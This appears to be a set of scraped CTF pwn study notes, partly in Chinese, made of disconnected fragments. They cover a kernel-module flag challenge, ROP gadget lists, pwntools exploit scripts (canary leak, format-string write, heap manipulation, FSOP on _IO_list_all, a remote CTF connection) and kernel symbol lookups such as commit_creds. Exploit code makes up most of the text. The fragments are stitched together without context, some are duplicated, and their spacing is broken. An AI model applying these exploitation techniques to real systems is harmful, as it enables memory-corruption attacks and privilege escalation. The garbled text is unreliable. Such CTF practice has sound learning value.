.ko [*] '/home/rootzhang/kernelstudy/pwnstudy/level2/baby.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
_fentry__(); v5 = v2; if ( a2 == 26214 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); return0LL; } elseif ( a2 == 4919 && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsignedint)¤t_task) + 4952)) && !_chk_range_not_ok( *(_QWORD *)v5, *(int *)(v5 + 8), *(_QWORD *)(__readgsqword((unsignedint)¤t_task) + 4952)) && *(_DWORD *)(v5 + 8) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] ) return22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); return0LL; } else { return14LL; } }
''' 0x0000000000047400: pop rax; ret; 0x0000000000023b72: pop rdi; ret; 0x000000000002604f: pop rsi; ret; 0x0000000000119241: pop rdx; pop r12; ret; 0x00000000000630d9: syscall; ret; '''
defgame(): fd=open("flag.txt","r+") for i inrange(100): content="round {0}: \n".format(i+1) sh.recvuntil(content) sh.sendline(fd.read(1)) fd.close()
#gdb.attach(sh," b *(0x7ffff7fc6000+0x1565)") defexp(): payload="a"*0x108+'b' sh.sendafter("Please input your name:\n",payload) sh.recvuntil('ab') canary=u64(sh.recv(7).ljust(8,'\x00'))<<8 stack_addr=u64(sh.recv(6).ljust(8,'\x00')) printhex(stack_addr) game() sh.recvuntil("Good luck to you.") fmt='%3$p'+'%'+str(0x74Aa-0xe)+'c%8$hn'+p64(stack_addr-0x210) # print len('%3$p'+'%'+str(0x7465-0xe)+'c%8$hn') sh.send(fmt) sleep(1) s=sh.recvline() m=sh.recv() libc_addr=int(m[0:14],16)-0x10e002 pop_rax=libc_addr+0x0000000000047400 pop_rdi=libc_addr+0x0000000000023b72 pop_rsi=libc_addr+0x000000000002604f pop_rdx_r12=libc_addr+0x0000000000119241 syscall=libc_addr+0x00000000000630d9 sh.recvuntil('Please input your name:\n')
defexp(): add(0x14b0)#0 for i inrange(7): add(0x40)#1-7 for i inrange(7): add(0x50)#8-14 add(0x100)#15 add(0x110)#16 add(0x120)#17 add(0x440)#18 for i inrange(1,8): free(i) for i inrange(8,15): free(i) free(15) add(0x100)#1->15 for i inrange(7): free(15) edit(1,p64(0)*2) free(15)
from pwn import * context.log_level='debug' #sh=process('./pwn') sh=remote('node4.buuoj.cn',28714) elf=ELF('./pwn') #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('./libc-2.31.so') main_addr=0x401A5E bss_addr=0x404000 ''' 0x0000000000401bb3: pop rdi; ret; 0x0000000000401bb1: pop rsi; pop r15; ret; 0x000000000011c371: pop rdx; pop r12; ret; x000000000004a550: pop rax; ret; 0x000000000011c371: pop rdx; pop r12; ret; 0x0000000000066229: syscall; ret; 0x0000000000032b5a: pop rsp; ret; 0x0000000000043ae8: pop rax; ret; 0x0000000000001b96: pop rdx; ret; 0x00000000000d2745: syscall; ret; 0x0000000000003960: pop rsp; ret; '''
存在off by null漏洞,但只能申请largebin的堆块,所以可以进行larginbinattack,然后largebin上申请到的堆块可以泄露libc地址,在堆上布置然后打io_list_all就行了,重点讲一下io_list_all,我的主要学习来源是ctfwiki,对io_list_all的攻击也叫作FSOP.
struct _IO_FILE_plus { struct _IO_FILEfile{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
sh.recvuntil('Please Write U Name on the Book\n\n') sh.sendline('root') defadd(size,content): sh.recvuntil('Five: Finished!\n\n') sh.sendline('1') sh.recvuntil('Number of words?') sh.sendline(str(size)) sh.recvuntil('please input U character') sh.send(content)
defedit(idx,content): sh.recvuntil('Five: Finished!\n\n') sh.sendline('2') sh.recvuntil('please input the page U want 2 change') sh.sendline(str(idx)) sh.recvuntil('Now Change U this page : ') sh.send(content)
deffree(idx): sh.recvuntil('Five: Finished!\n\n') sh.sendline('3') sh.recvuntil('please Input the page U want 2 tear off') sh.sendline(str(idx)) sh.recvuntil('tear_off Finished\n')
defshow(idx): sh.recvuntil('Five: Finished!\n\n') sh.sendline('4') sh.recvuntil('please Input The page U want 2 scan') sh.sendline(str(idx))
sh.recvuntil('Please Write U Name on the Book\n\n') sh.sendline('root') defadd(size,content): sh.recvuntil('Five: Finished!\n\n') sh.sendline('1') sh.recvuntil('Number of words?') sh.sendline(str(size)) sh.recvuntil('please input U character') sh.send(content)
defedit(idx,content): sh.recvuntil('Five: Finished!\n\n') sh.sendline('2') sh.recvuntil('please input the page U want 2 change') sh.sendline(str(idx)) sh.recvuntil('Now Change U this page : ') sh.send(content)
deffree(idx): sh.recvuntil('Five: Finished!\n\n') sh.sendline('3') sh.recvuntil('please Input the page U want 2 tear off') sh.sendline(str(idx)) sh.recvuntil('tear_off Finished\n')
defshow(idx): sh.recvuntil('Five: Finished!\n\n') sh.sendline('4') sh.recvuntil('please Input The page U want 2 scan') sh.sendline(str(idx))
[*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/rootfs/core.cpio/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
ffffffff866dcbf0 t qdisc_lookup_default ffffffff866dcc40 T __qdisc_calculate_pkt_len ffffffff866dcca0 t stab_kfree_rcu ffffffff866dccb0 T qdisc_watchdog_init ffffffff866dcce0 t qdisc_watchdog ffffffff866dcd00 T qdisc_watchdog_cancel ffffffff866dcd10 T qdisc_class_hash_destroy
Python 2.7.12 (default, Mar 1 2021, 11:38:31) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> vmlinux=ELF("./vmlinux") [*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments >>> hex(vmlinux.sym["commit_creds"]) '0xffffffff8107fc8d'
mkdir rootfs mv rootfs.cpio ./rootfs/ cd rootfs cpio -idmv < rootfs.cpio cat init #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh
umount /proc umount /sys poweroff -d 0 -f
发现了可装载模块babydriver.ko,阅读其他wp的时候发现他们还会用checksec查看.ko文件的保护,这块我不能理解,按照逻辑来说,它装载到了内核,应该和内核共享一套保护措施了,为啥还要检查他用户态的保护措施(?),除了看到了.ko文件,还发现他对flag文件进行了权限限制chown root:root flagchmod 400 flag